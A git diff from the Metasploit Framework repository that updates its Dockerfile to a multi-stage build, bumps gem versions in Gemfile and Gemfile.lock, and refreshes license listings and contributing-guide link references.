||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
|
||||
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
|
||||
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
|
||||
[Report a security vulnerability in Metasploit itself]:https://www.rapid7.com/disclosure.jsp
|
||||
[development environment]:http://r-7.co/MSF-DEV
|
||||
[proof-of-concept exploits]:https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[release notes]:https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://groups.google.com/forum/#!forum/metasploit-hackers
|
||||
[Metasploit Slack]:https://www.metasploit.com/slack
|
||||
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
|
||||
+33
-27
@@ -1,36 +1,22 @@
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
FROM ruby:2.6.5-alpine3.9 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME/
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
RUN apk add --no-cache \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
libressl-dev \
|
||||
openssl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -43,21 +29,41 @@ RUN apk update && \
|
||||
git \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.6.2-alpine3.9
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV METASPLOIT_GROUP=metasploit
|
||||
|
||||
# used for the copy command
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
RUN chown -R root:metasploit /usr/local/bundle
|
||||
COPY . $APP_HOME/
|
||||
RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
# it results in access denied errors.
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc", "-y", "$APP_HOME/config/database.yml"]
|
||||
|
||||
@@ -3,6 +3,8 @@ source 'https://rubygems.org'
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
gem 'sqlite3', '~>1.3.0'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
|
||||
+99
-95
@@ -1,15 +1,17 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.17.2)
|
||||
metasploit-framework (4.17.89)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
backports
|
||||
bcrypt
|
||||
bcrypt (= 3.1.12)
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
@@ -18,9 +20,9 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.40)
|
||||
metasploit-payloads (= 1.3.78)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.4.1)
|
||||
metasploit_payloads-mettle (= 0.5.16)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -35,7 +37,7 @@ PATH
|
||||
patch_finder
|
||||
pcaprub
|
||||
pdf-reader
|
||||
pg (= 0.20.0)
|
||||
pg (~> 0.20)
|
||||
railties
|
||||
rb-readline
|
||||
recog
|
||||
@@ -74,72 +76,73 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
actionpack (4.2.11.1)
|
||||
actionview (= 4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
actionview (4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
activemodel (4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.10)
|
||||
activemodel (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
activerecord (4.2.11.1)
|
||||
activemodel (= 4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.10)
|
||||
activesupport (4.2.11.1)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.2)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
addressable (2.7.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.7.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.3)
|
||||
arel-helpers (2.10.0)
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
backports (3.15.0)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.3)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
bindata (2.4.4)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.4)
|
||||
crass (1.0.5)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.1)
|
||||
dnsruby (1.61.3)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
docile (1.3.2)
|
||||
ed25519 (1.2.4)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.2)
|
||||
faker (2.2.1)
|
||||
i18n (>= 0.8)
|
||||
faraday (0.17.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.6)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
loofah (2.2.2)
|
||||
json (2.2.0)
|
||||
loofah (2.3.1)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.3)
|
||||
metasm (1.0.4)
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -157,55 +160,55 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.40)
|
||||
metasploit_data_models (2.0.16)
|
||||
metasploit-payloads (1.3.78)
|
||||
metasploit_data_models (2.0.17)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg (= 0.20.0)
|
||||
pg
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.4.1)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
metasploit_payloads-mettle (0.5.16)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.12.2)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
msgpack (1.3.1)
|
||||
multipart-post (2.1.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (5.0.2)
|
||||
net-ssh (5.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.8.4)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.9.0)
|
||||
nokogiri (1.10.4)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.14.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openssl-ccm (1.2.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.1.0)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.2.1)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg (0.21.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.3)
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.10)
|
||||
public_suffix (4.0.1)
|
||||
rack (1.6.11)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -214,21 +217,21 @@ GEM
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rails-html-sanitizer (1.3.0)
|
||||
loofah (~> 2.3)
|
||||
railties (4.2.11.1)
|
||||
actionpack (= 4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.1)
|
||||
rake (13.0.0)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.20)
|
||||
recog (2.3.5)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
redcarpet (3.5.0)
|
||||
rex-arch (0.1.13)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.4)
|
||||
rex-bin_tools (0.1.6)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
@@ -239,7 +242,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.19)
|
||||
rex-exploitation (0.1.21)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -252,7 +255,7 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.78)
|
||||
rex-powershell (0.1.82)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
@@ -262,72 +265,72 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.14)
|
||||
rex-socket (0.1.20)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.21)
|
||||
rex-text (0.2.24)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
rspec (3.9.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-core (3.9.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-expectations (3.9.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-mocks (3.9.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rails (3.9.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (2.0.0)
|
||||
rspec-support (3.9.0)
|
||||
ruby-macho (2.2.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.3)
|
||||
ruby_smb (1.1.0)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.1)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
simplecov (0.16.1)
|
||||
rubyzip (2.0.0)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simplecov (0.17.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
thor (0.20.0)
|
||||
sshkey (2.0.0)
|
||||
thor (0.20.3)
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo-data (1.2019.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.14)
|
||||
yard (0.9.20)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -343,8 +346,9 @@ DEPENDENCIES
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
sqlite3 (~> 1.3.0)
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.2
|
||||
1.17.3
|
||||
|
||||
@@ -71,10 +71,6 @@ Files: lib/anemone.rb lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
+86
-92
@@ -1,130 +1,124 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.2, MIT
|
||||
actionpack, 4.2.9, MIT
|
||||
actionview, 4.2.9, MIT
|
||||
activemodel, 4.2.9, MIT
|
||||
activerecord, 4.2.9, MIT
|
||||
activesupport, 4.2.9, MIT
|
||||
addressable, 2.5.1, "Apache 2.0"
|
||||
Ascii85, 1.0.3, MIT
|
||||
actionpack, 4.2.11.1, MIT
|
||||
actionview, 4.2.11.1, MIT
|
||||
activemodel, 4.2.11.1, MIT
|
||||
activerecord, 4.2.11.1, MIT
|
||||
activesupport, 4.2.11.1, MIT
|
||||
addressable, 2.7.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.4.0, unknown
|
||||
backports, 3.8.0, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
bindata, 2.4.0, ruby
|
||||
arel-helpers, 2.10.0, MIT
|
||||
backports, 3.15.0, MIT
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
bindata, 2.4.4, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.15.1, MIT
|
||||
coderay, 1.1.1, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
crass, 1.0.5, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.60.1, "Apache 2.0"
|
||||
docile, 1.1.5, MIT
|
||||
dnsruby, 1.61.3, "Apache 2.0"
|
||||
docile, 1.3.2, MIT
|
||||
ed25519, 1.2.4, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
factory_girl, 4.8.0, MIT
|
||||
factory_girl_rails, 4.8.0, MIT
|
||||
faraday, 0.12.1, MIT
|
||||
filesize, 0.1.1, MIT
|
||||
fivemat, 1.3.5, MIT
|
||||
google-protobuf, 3.3.0, "New BSD"
|
||||
googleauth, 0.5.1, "Apache 2.0"
|
||||
grpc, 1.4.1, "New BSD"
|
||||
factory_girl, 4.9.0, MIT
|
||||
factory_girl_rails, 4.9.0, MIT
|
||||
faker, 2.2.1, MIT
|
||||
faraday, 0.17.0, MIT
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
i18n, 0.8.6, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
jwt, 1.5.6, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.2.2, MIT
|
||||
loofah, 2.0.3, MIT
|
||||
memoist, 0.16.0, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 0.2.1, "New BSD"
|
||||
json, 2.2.0, ruby
|
||||
loofah, 2.3.1, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 2.0.10, "New BSD"
|
||||
metasploit-framework, 4.15.0, "New BSD"
|
||||
metasploit-credential, 2.0.14, "New BSD"
|
||||
metasploit-framework, 4.17.89, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.15, "New BSD"
|
||||
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.8.2, MIT
|
||||
mini_portile2, 2.2.0, MIT
|
||||
minitest, 5.10.2, MIT
|
||||
msgpack, 1.1.0, "Apache 2.0"
|
||||
multi_json, 1.12.1, MIT
|
||||
multipart-post, 2.0.0, MIT
|
||||
metasploit-payloads, 1.3.78, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.17, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.12.2, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.3.1, "Apache 2.0"
|
||||
multipart-post, 2.1.1, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 4.1.0, MIT
|
||||
network_interface, 0.0.1, MIT
|
||||
nexpose, 6.1.0, BSD
|
||||
nokogiri, 1.8.0, MIT
|
||||
octokit, 4.7.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
net-ssh, 5.2.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.4, MIT
|
||||
octokit, 4.14.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
os, 0.9.6, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.12.4, LGPL-2.1
|
||||
pdf-reader, 2.0.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.2.1, MIT
|
||||
pg, 0.21.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.10.4, MIT
|
||||
public_suffix, 2.0.5, MIT
|
||||
rack, 1.6.8, MIT
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
public_suffix, 4.0.1, MIT
|
||||
rack, 1.6.11, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.8, MIT
|
||||
rails-html-sanitizer, 1.0.3, MIT
|
||||
railties, 4.2.9, MIT
|
||||
rake, 12.0.0, MIT
|
||||
rb-readline, 0.5.4, BSD
|
||||
recog, 2.1.11, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.9, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.3.0, MIT
|
||||
railties, 4.2.11.1, MIT
|
||||
rake, 13.0.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.5, unknown
|
||||
redcarpet, 3.5.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
rex-core, 0.1.13, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.15, "New BSD"
|
||||
rex-exploitation, 0.1.21, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.72, "New BSD"
|
||||
rex-random_identifier, 0.1.2, "New BSD"
|
||||
rex-powershell, 0.1.82, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.20, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-text, 0.2.24, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
rspec, 3.6.0, MIT
|
||||
rspec-core, 3.6.0, MIT
|
||||
rspec-expectations, 3.6.0, MIT
|
||||
rspec-mocks, 3.6.0, MIT
|
||||
rspec-rails, 3.6.0, MIT
|
||||
rspec, 3.9.0, MIT
|
||||
rspec-core, 3.9.0, MIT
|
||||
rspec-expectations, 3.9.0, MIT
|
||||
rspec-mocks, 3.9.0, MIT
|
||||
rspec-rails, 3.9.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.6.0, MIT
|
||||
rspec-support, 3.9.0, MIT
|
||||
ruby-macho, 2.2.0, MIT
|
||||
